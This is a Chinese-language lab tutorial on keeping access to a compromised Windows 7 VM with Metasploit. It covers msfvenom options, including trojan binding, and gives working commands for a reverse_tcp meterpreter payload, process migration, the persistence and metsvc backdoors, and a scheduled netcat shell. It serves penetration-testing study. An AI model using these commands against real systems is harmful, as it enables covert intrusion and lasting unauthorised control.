Metasploit权限维持
简单介绍下Metasploit,这是一个渗透测试平台,可以查找、利用、验证漏洞。与Metasploit的大部分交互式通过模块完成的,例如可以通过“auxiliary”模块进行信息收集,使用"exploit"模块进行漏洞利用,利用"payload"模块链接到shell。
生成木马
- 命令解释
-l, --list <type> 列出指定类型的所有模块 类型包括: payloads, encoders, nops, platforms, archs, formats, all
-p, --payload <payload> 指定需要使用的payload(有效载荷)(--list payloads得到payload列表,--list-options得到指定payload的参数) 如果需要使用自定义的payload,请使用'-'或者stdin指定
--list-options 列出指定payload的标准,高级和规避选项 例如:msfvenom -p generic/shell_bind_tcp --list-options 将列出shell_bind_tcp这个payload的各种选项信息
-f, --format <format> 指定输出格式(使用 --list formats 列出所有的格式)
-e, --encoding <encoder> 要使用的编码(使用 --list encoders 列出所有的编码) 用于编码加密
--smallest 使用所有可用的编码器生成尽可能小的有效负载
-a, --arch <arch> 指定payload的目标CPU架构(使用 --list archs 列出所有的CPU架构)
--platform <platform> 指定payload的目标操作系统平台(使用 --list platforms 列出所有的操作系统平台)
-o, --out <path> 将payload保存到文件中
-b, --bad-chars <list> 指定不使用的字符集 例如:不使用'\x00\xff'这两个字符
-n, --nopsled <length> 在payload上添加指定长度的nop指令
-s, --space <length> 设定payload的最大长度 即生成的文件大小
--encoder-space <length> 设定编码payload的最大长度(默认为-s的值)
-i, --iterations <count> 对payload进行编码的次数
-c, --add-code <path> 指定一个自己的win32 shellcode文件
-x, --template <path> 指定一个可执行程序 将payload捆绑其中
例如:原先有个正常文件normal.exe 通过此选项把payload捆绑到这个程序上面
-k, --keep 针对-x中的捆绑程序 将创建新线程执行payload 一般情况-x -k选项一起使用
-v, --var-name <value> 指定用于某些输出格式的自定义变量名称
-t, --timeout <second> 从STDIN读取有效负载时等待的秒数(默认为30, 0为禁用)
-h, --help 查看帮助
- 常见木马生成方法
进程注入
pinjector.exe进行进程注入不会创建新的进程,隐蔽性比较高,很难被发现。
实例演示
环境:kali、虚拟机Win7
-
生成木马
目标机IP:192.168.220.139
攻击机IP:192.168.220.130
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.220.130 LPORT=1234 -f exe > shell.exe
-
将木马上传服务器
-
msfconsole中调用模块进行监听
-
运行木马
-
进程注入
可以先查找进程然后再进行注入,这里使用更简单的方法,直接使用“post/windows/ manage/migrate”模块注入,它会自动寻找合适的进程注入,运行命令“run post/windows/manage/migrate”
自动迁移进程。
可以发现我们一斤拿到靶机win7的shell了。
补充:有些windows的命令无法在我们反弹到的shell中执行。
Persistence
通过Metasploit自带的Persistence模块可以设置启动项启动来进行权限维持,它的常用参数如下:
展示
在我们已经拿到meterpreter shell的前提下进行。
run persistence -P windows/x64/meterpreter/reverse_tcp -X -i 5 -p 12345 -r 192.168.220.130
exit退出shell后,设置监听端口,然后run,发现 不用重新上传木马也可以获取shell。
两者的差距在于,使用原来 生成的木马在 1234端口监听时,每次连接都需要用户重新点击木马使其执行,但是在使用了persistence后,在12345端口监听,我们不需要在重新上传木马,靶机也不需要再对木马进行操作 。
Metsvc
通过Metasploit自带的Metsvc模块可以在已经获得Shell的目标主机上,开启一个服务来提供后门的功能,常用命令如下;
run metsvc -A ##自动安装后门
在靶机可以看到多了一个Meterpreter的服务。
ScheduleMe
ScheduleMe可以通过schtasks来创建计划任务,但是这需要system权限。scheduleme常用参数如下:
在meterpreter shell中使用getuid获取当前权限,使用getsystem获取system权限。
然后使用命令:run scheduleme -m 1 -e '/nc.exe' -o "-Ldp 4444 -e cmd.exe" #每分钟执行一次nc -Ldp 4444 -ecmd.exe
在kali中使用nc -v ip port
进行连接。
Empire渗透测试框架做权限维持
原理大多同metasploit框架是一样的,只是使用不同罢了。出于菜鸟的考虑,还是先吃透一个框架吧。所以就先不搞Empire了。